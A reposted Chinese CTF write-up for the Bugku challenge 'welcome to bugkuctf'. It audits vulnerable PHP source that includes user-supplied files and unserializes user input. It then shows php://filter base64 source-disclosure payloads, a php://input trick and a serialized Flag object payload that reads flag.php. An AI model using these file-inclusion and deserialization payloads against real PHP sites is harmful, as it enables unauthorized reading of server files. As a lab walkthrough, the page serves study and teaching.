Bugku-CTF之welcome to bugkuctf(php://filter和php://input的妙用)

Day24

 

welcome to bugkuctf

http://123.206.87.240:8006/test1/

 

 

 

本题要点:代码审计,PHP://filter ,  php://input ,  base64解密,反序列化

 

 
 
查看一下源码
 
审计源码,我们可以发现~
 
(1)get方式传递三个参数,分别是txt、file、password
 
(2)读取的$user文件内容===welcome to the bugkuctf
 
(3) $file要求为hint.php
 
接下来,我们需要了解
php:// - 访问各种I / O流
 
查一下php的手册~~~
参考:https://www.php.net/manual/en/wrappers.php.php
 
php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流。
 
用法1:将POST内容转换成base64编码并输出:
readfile("php://filter/read=convert.base64-encode/resource=php://input"):
 
用法2:将PHP等容易引发冲突的文件流用php://filter协议流处理一遍
php://filter/read=convert.base64-encode/resource=./xxx.php
 
下面我们
构造payload~
 
 
base64解密
 
 
解出来的源码如下:
分析一下~
 
<?php  
  
class Flag{          //flag.php         
 
 // 这里 定义了一个类Flag
 
    public $file;  
    public function __tostring(){     
  //注意到下面有一个  __tostring 方法,可以理解为将这个类作为字符串执行时会自动执行的一个函数
 
        if(isset($this->file)){  
            echo file_get_contents($this->file);
            echo "<br>";
        return ("good");
        }  
    }  
}  
?>  
 
 
再用同样的方法看一下 index.php   ~
 
解出源码 ~
分析一下~
 
 
<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  
  
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){
//这里可以看到对关键词flag进行了preg_match
 
 
        echo "不能现在就给你flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);       // 反序列化
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  
  
?>  
  
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
//结合__tostring 方法,执行时,将变量$file作为文件名输出文件内容 猜想flag.php文件在此打开
}else{  
    echo "you are not admin ! ";  
}  
-->  
 
还注意到~
 
password=unserialize(password=unserialize(password);
 
因此知道需要构造序列化对象payload为
 
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

 

 
 
 
 
完成!

ps:这道题很灵活的运用了php://filter和php://input,值得反复思考哦~

 

参考资料:

https://www.php.net/manual/en/wrappers.php.php

https://blog.csdn.net/csu_vc/article/details/78375203

 

转载于:https://www.cnblogs.com/0yst3r-2046/p/10773925.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值